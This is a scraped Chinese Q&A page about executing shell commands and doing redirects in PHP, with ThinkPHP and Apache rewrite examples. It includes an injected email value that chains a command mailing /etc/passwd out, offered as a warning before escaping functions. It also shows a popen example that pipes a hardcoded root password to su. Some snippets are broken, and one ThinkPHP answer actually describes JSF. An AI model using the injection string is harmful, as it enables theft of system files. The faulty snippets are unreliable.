导航:首页 > 编程语言 > php输出重定向

php输出重定向

发布时间:2022-11-13 04:57:17

‘壹’ php运行EXEC文件

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?

要考虑两个问题:安全性和超时。

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

‘贰’ php 函数重定向 Warning: Cannot modify header information - headers already sent by (output

检查以下两个方面:

一、在文件的第一个<?php之前不得有任何内容,包括空白、空行

二、在header('Location:news_list.php?message=$message');语句之前不得有任何的echo或者其它输出内容的语句

满足以上两点的情况下,就不会报告你这个错误。

‘叁’ 求PHP APACHE 重定向的写法

先确保apache已经开启了mod_rewrite,然后修改根目录下的.htaccess文件:

(留意QUERY_STRING用法)

RewriteEngineOn
Options+FollowSymlinks

RewriteCond%{QUERY_STRING}^keyword=(.*)&p=(d*)$
RewriteRule^search$search.php?keyword=$1&p=$2[L]

‘肆’ ThinkPHP redirect 循环重定向是什么原因

一般出现循环重定向的原因就是权限判断出问题了
详细点就是你的extends的文件作权限判断了,然后controller也做了权限判断,而且两个判断之间是彼此跳转的,所以才会出现上述问题,你检查下吧

‘伍’ php网站建设怎么做301重定向设置

做网站优化,我们基本知道url标准化需要采用301重定向。重定向说直白点,就是通过方法将各种网络请求重新定个方向转到其它位置,也就是通常说的,网页跳转。那么如何设置和制作301重定向呢?下面列举几个比较常见的情况:

步骤/方法

‘陆’ thinkphp内核程序,无法重定向

ThinkPHP redirect 方法

ThinkPHP redirect 方法可以实现页面的重定向(跳转)功能。redirect 方法语法如下:
$this->redirect(string url, array params, int delay, string msg)

参数说明:

参数

说明

url 必须,重定向的 URL 表达式。
params 可选,其它URL参数。
delay 可选, 重定向延时,单位为秒。
msg 可选,重定向提示信息。

ThinkPHP redirect 实例

在 Index 模块 index 方法中,重定向到本模块的 select 操作:
class IndexAction extends Action{
public function index(){
$this->redirect('select', array('status'=>1), 3, '页面跳转中~');
}
}

重定向后得到的 URL 可能为ex.php/Index/select/status/1

由于该方法调用了 U 函数来生成实际的 URL 重定向地址,因此重定向后的 URL 可能因配置不同而有所不同:
隐藏了入口文件 index.php 的
5idev.com/Index/select/status/1
隐藏了入口文件 index.php 且设置了伪静态的
hom/Index/select/status/1.html

一些常用的 redirect 重定向例子:
// 不延时,直接重定向
$this->redirect('select', array('status'=>1));
// 延时跳转,但不带参数,输出默认提示
$thi www.hbbz08.com s->redirect('select', '', 3);
// 重定向到其他模块操作
$this->redirect('Public/login');
// 重定向到其他分组
$this->redirect('Admin-Public/login');

提示: 1.当延时跳转时,必须输入 params 参数(可以为空),也就是 delay 必须出现在第 3 位上。
2.如果发现跳转后的 URL 有问题,由于 redirect 方法调用 U 方法来生成跳转后的地址,这时候可以测试一下 U 方法生成的地址是否正确,再检查一下系统配置。
3.如果不想使用 U 方法生成跳转地址,可以直接使用 PHP header 函数或 $this->redirect 的原型函数 redirect(string url, int delay, string msg),注意该 url 是个绝对地址,具体参见 PHP header 函数。

redirect 重定向与 success/error 跳转的区别
•redirect 是使用的 PHP header 重定向,而 success/error 是使用的 html meta http-equiv='Refresh' 属性跳转。
•redirect 无模板页面,输出的提示信息是直接在函数内 echo 输出的,而 success/error 有对应的模板。
•redirect 与 success/error 都可以实现页面的跳转,只是 redirect 可以无延时重定向,具体采用哪种视具体情况而定。

‘柒’ Thinkphp中 重定向redirect,和跳转success,error的区别

我们通过两个流程来看一下它们之间的区别。
Redirect
1. 用户浏览器向 发送 GET 请求。
2. JSF收到请求,返回 start.xhtml 页面。
3. 用户点击页面中的按钮。
4. JSF收到请求, 向浏览器发送 Redirect 指令 (3XX的HTTP状态值)。
5. 浏览器收到指令, 发送另一个 GET 到 。
6.JSF返回page1.xhtml。
7. 浏览器显示page1.xhtml。这时地址栏里显示的是page1.xhtml。

Forward
1. 用户浏览器向 发送 GET 请求。
2. JSF收到请求,返回 start.xhtml 页面。

3. 用户点击页面中的按钮。

4. JSF收到请求, 直接渲染page1.xhtml页面并返回给浏览器 。
5. 浏览器显示 page1.xhtml。这时候地址栏里显示的还是start.xhtml

由此可看出,重定向要比跳转多发送一个请求,所以相对要慢一些。JSF默认全部采用 Forward的方式跳转页面。如果想要重定向页面,可以在导航中添加 <redirect />,或者在 h:commandButton的action属性后添加 "faces-redirect=true":

‘捌’ php使用curl访问的页面中,出现重定向时, 如何获取重定向后的内容

程序没问题,能得到网页内容并输出。
有可能是你的 xxx.php 没有重定向成功。

如果在Linux下,可以先用
wget http://www.xxx.com/xxx.php
看看有没有输出想要的结果。

我用来测试的 xxx.php

<?php
function redirect($url)
{
if(headers_sent()) {
return false;
}
if(substr($url, 0, 4) != 'http') {
$schema = $_SERVER['SERVER_PORT'] == '443' ? 'https' : 'http';
$host = strlen($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$url = "$schema://$host$to";
}
header("HTTP/1.1 301 Moved Permanently");
header("Location: $url");
exit();
}
redirect('http://google.com/');

‘玖’ PHP如何使404页面重定向

最近在改一些东西,包括Discuz论坛,在处理Discuzde修改时特别是重新写了一个404de页面,让用户访问不存在de页面时去访问这个404页面。但是遇到了一个很奇怪de问题,即无法重定向到这个页面。
最初操作:
1、把apache中de配置文件里 加入代码:ErrorDocument 404 /404.php
2、在404页面de代码里加上<?php header(”HTTP/1.0 404 Not Found” ?> 。这个方法是向客户端发送一个自然deHTTP头。这个方法要在没you向客户端发送任何信息之前使用,因此加在404.phpde文件头最好。

经过对配置文件和DZ论坛代码de查看,发现原因:rewrite规则问题,即我做伪静态de处理,导致第二种地址规则you效,于是已经pass过了服务器层,apachede404定义不再起作用,所以在读取数据dephp文件会被执行。针对这种情况应该做处理。
处理:
1、找到被执行de文件:如viewthread.php;
2、在查询数据后,加上对数据de判断,如果为空,则填写重定向代码;
3、代码:
if(如果没you任何结果)
{
//以前是仅仅显示“该帖子已经不存在”de提示,现在是:
require(’/404.php’);
@header(’HTTP/1.1 404 Not Found’);
@header(’Status: 404 Not Found’);
exit;
}
结果:以上问题解决,可以以404de状态重定向到我自定义de404页面。

‘拾’ php 页面重定向有什么用呢,有什么好处

页面重定向可能达到两个不同的地址可以访问到相同的结果,这个功能主要是用在 SEO 和程序里的权限控制方面。

比如你原来有个网站,搜索引擎已经收录了,然后你改版了, URL 和原来的不一样了,那么你就要去添加重定向规则,让原来的 URL 能正常的转到新的 URL 上,否则搜索引擎里收录的结果都不能用了

阅读全文

与php输出重定向相关的资料

热点内容
java办公自动化 浏览:340
php中超链接 浏览:253
linux默认路由设置 浏览:36
linux如何挂载iso 浏览:432
vs程序换文件夹后不能编译 浏览:557
安卓源码编译输入脚本没反应 浏览:47
phpmysql自增 浏览:167
把ppt保存为pdf 浏览:533
汽车密封件加密配件 浏览:887
黑马程序员15天基础班 浏览:560
java调整格式 浏览:521
香港云服务器租用价 浏览:78
linuxsublime3 浏览:560
imac混合硬盘命令 浏览:277
沈阳用什么app租房车 浏览:857
00后高中生都用什么app 浏览:238
戴尔塔式服务器怎么打开独立显卡 浏览:807
医疗程序员招聘 浏览:597
住宿app可砍价是什么意思 浏览:133
java跳出语句 浏览:55